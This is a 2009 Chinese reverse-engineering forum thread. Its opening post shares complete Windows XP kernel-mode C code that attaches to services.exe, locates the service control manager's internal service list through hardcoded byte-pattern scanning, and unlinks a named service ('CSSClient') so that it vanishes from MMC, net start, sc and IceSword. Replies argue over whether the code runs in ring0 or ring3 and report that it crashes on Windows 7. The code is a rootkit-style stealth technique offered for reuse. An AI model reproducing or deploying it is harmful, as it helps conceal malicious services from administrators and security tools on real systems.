首页
社区
课程
招聘
[分享]可以隐藏服务的代码
发表于: 2009-9-22 21:14 15251

[分享]可以隐藏服务的代码

2009-9-22 21:14
15251
高手飘过,我只是做一下苦力活把高手的分析写了一遍,共享出来大家用

EnumServicesStatus等API最终都是历遍SCM内部的ServiceRecordList,这是一个双向链表,在Services.exe进程创建时,由SvcCtrlMain -> ScInitDatabase -> ScGenerateServiceDB 产生。具体位置可从services!ServiceDatabase+0x4获得。
将需要隐藏的服务从链表上断开后,不管是MMC、net start或者SC,甚至IceSword,统统废掉了。
在xp2中编译通过可用
代码开始:
typedef struct _SERVICE_STATUS
{
        ULONG   dwServiceType;
        ULONG   dwCurrentState;
        ULONG   dwControlsAccepted;
        ULONG   dwWin32ExitCode;
        ULONG   dwServiceSpecificExitCode;
        ULONG   dwCheckPoint;
        ULONG   dwWaitHint;
} SERVICE_STATUS, *LPSERVICE_STATUS;

typedef struct _SERVICE_RECORD
{
        struct _SERVICE_RECORD *Prev; // linked list
        struct _SERVICE_RECORD *Next; // linked list
        LPWSTR ServiceName; // points to service name
        LPWSTR DisplayName; // points to display name
        ULONG ResumeNum; // Ordered number for this rec
        ULONG ServerAnnounce; // Server announcement bit flags
        ULONG Signature; // Identifies this as a service record.
        ULONG UseCount; // How many open handles to service
        ULONG StatusFlag; // status(delete,update...)
        union {
                //LPIMAGE_RECORD ImageRecord; // Points to image record
                void*        ImageRecord;
                LPWSTR ObjectName; // Points to driver object name
        };
        SERVICE_STATUS ServiceStatus; // see winsvc.h
        ULONG StartType; // AUTO, DEMAND, etc.
        ULONG ErrorControl; // NORMAL, SEVERE, etc.
        ULONG Tag; // DWORD Id for the service,0=none.
        //LPDEPEND_RECORD StartDepend;
        //LPDEPEND_RECORD StopDepend;
        void*        StartDepend;
        void*        StopDepend;
        LPWSTR Dependencies;
        PSECURITY_DESCRIPTOR ServiceSd;
        ULONG StartError;
        ULONG StartState;
        //LPLOAD_ORDER_GROUP MemberOfGroup;
        //LPLOAD_ORDER_GROUP RegistryGroup;
        void*        MemberOfGroup;
        void*        RegistryGroup;
} SERVICE_RECORD, *PSERVICE_RECORD, *LPSERVICE_RECORD;

#pragma PAGEDCODE
ULONG GetTargetProcess()
{
        ULONG                eproc = (ULONG)PsGetCurrentProcess();
        PLIST_ENTRY        pListEntry = (PLIST_ENTRY)(eproc + 0x88);
        PLIST_ENTRY pNextList = pListEntry->Flink;
        char *szPrcName = NULL;
        while(1)
        {
                eproc = *(ULONG*)((ULONG)pNextList);
                eproc = eproc - 0x88;
                szPrcName = (char*)(eproc+ 0x174);
                if( strcmp(szPrcName,"services.exe") == 0 )
                {
                        return eproc;

                }
                pNextList = pNextList->Flink;
        }

}

void HideService()
{
        int i = 0;
        ULONG uServiceDatabase = 0;
        KIRQL  oldIrql;
        PEPROCESS eproc = (PEPROCESS)GetTargetProcess();
        KeAttachProcess(eproc);
        //首先得到模块的基址
        ULONG uModuleBase = *(ULONG*)((ULONG)eproc + 0x13c);
        unsigned char *pStart = (unsigned char *)uModuleBase;
        PSERVICE_RECORD pstuSR = NULL;
        PSERVICE_RECORD pstuTempPre = NULL;
        PSERVICE_RECORD pstuTempNext = NULL;
        __try        //由于使用了KeAttachProcess,所以一定要用异常结构
        {
               
                ProbeForRead((void*)uModuleBase,10,1);//首先试下是否可读
                      //在ScCreateServiceRecord函数中找到ServiceDatabase
                for(i = 0; i < 107520; i++)
                {
                        if( pStart[i]     == 0x8b &&
                                pStart[i+159] == 0xb8 &&
                                pStart[i+164] == 0x5f)
                        {
                                uServiceDatabase = *(ULONG*)&pStart[i+160];
                                break;
                        }
                }
               
                pstuSR = (PSERVICE_RECORD)(*(ULONG*)(uServiceDatabase+ 4));
                PSERVICE_RECORD pstuTemp = pstuSR;
                while(1)
                {
                        pstuSR = pstuSR->Next;
                       

                        if( _wcsicmp(pstuSR->ServiceName,L"CSSClient") == 0)
                        {
                                //断开链接
                                pstuTempPre = pstuSR->Prev;
                                pstuTempNext = pstuSR->Next;
                                                       
                                memcpy((void*)((ULONG)pstuTempPre+4),(void*)((ULONG)pstuSR+4),4);
                                memcpy((void*)pstuTempNext,(void*)pstuSR,4);
                                                               
                                RtlZeroMemory((void*)pstuSR,8);
                                break;
                        }
                       
                }

        }
        __except(EXCEPTION_EXECUTE_HANDLER)
        {
                KeDetachProcess();
                return;
        }
        KeDetachProcess();
        return;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (17)
雪    币: 88
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
支持一下楼主。。
2009-9-23 10:51
0
雪    币: 522
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
很老了  现在检测服务都从注册表下手了
2009-9-23 19:23
0
雪    币: 203
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
注册表函数在挂个SSDT钩子,把服务隐藏掉

另外冰刃我看有的资料上说的是利用句柄表检测的吧
看LZ贴的方法好像是断_EPROCESS链
貌似不能绕过冰刃吧?
有空仔细研究研究
2009-9-23 21:15
0
雪    币: 522
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
上面代码是挂接服务进程 通过硬编码找服务链表 从中断开
冰刃是通过这个链表来找服务的

回帖前 查证一下先吧  

不知道EPROCESS链 与隐藏服务有什么关系
2009-9-24 12:10
0
雪    币: 203
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
你的意思是在冰刃的服务列表中看不到,而进程列表中可以看到?
2009-9-24 12:19
0
雪    币: 522
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
2009-9-24 12:23
0
雪    币: 203
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
您的意思是说服务程序运行的时候不属于进程了?
2009-9-24 12:27
0
雪    币: 522
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
  
你别灌水了  
2009-9-24 12:34
0
雪    币: 203
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
不是灌水,这段代码我的确没仔细研究过,大概看了一下,虚心向您求教,如此隐藏后在进程列表中到底能否看到服务进程
2009-9-24 12:37
0
雪    币: 522
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
进程是动态的 服务是静态的 完全两码事  
你怎么老是喜欢把它们联系起来.

冰刃找进程 是在RING0下的  
上面的用户层代码只是简单的断开服务链表   当然过不了冰刃查进程了
2009-9-24 12:45
0
雪    币: 203
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
我想我理解你的意思了,但我不觉得可以把服务理解成静态的,如果你把程序和进程理解成一个静态和一个动态我还能赞同,我想你要表达的意思是指在服务管理器中看不到。我理解的服务即为后台进程,相当于linux的守护进程

另外,我不觉得上面的代码是在用户层干活的。

最后申明,纯粹探讨技术,别介意
2009-9-24 12:59
0
雪    币: 103
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
这段代码讲的是隐藏服务不是隐藏进程所以和_EPROCESS链无关哇。而且确实是在ring3下作的不是在ring0下作的。。。xacker说的没有错啊
2009-10-15 11:45
0
雪    币: 75
活跃值: (703)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
14
好帖。。解决了我的问题
2010-3-14 23:59
0
雪    币: 88
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
先做个标记,回来有时间好好学习一下。
2010-3-16 16:49
0
雪    币: 270
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
16
楼主的程序到底是ring0还是ring3下的? 有人怎么说是ring3下的?   
这段代码经过验证在xp下有效,但是在win7下会蓝屏
2010-9-28 22:49
0
雪    币: 596
活跃值: (449)
能力值: ( LV12,RANK:320 )
在线值:
发帖
回帖
粉丝
17
进程服务什么的,你在隐藏别人也能找出来,隐藏已经不是主流了,没事做做保护什么还不错
2010-9-28 22:58
0
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
18
r3还可以直接访问EPROCESS????
2010-9-28 23:20
0
游客
登录 | 注册 方可回帖
返回
//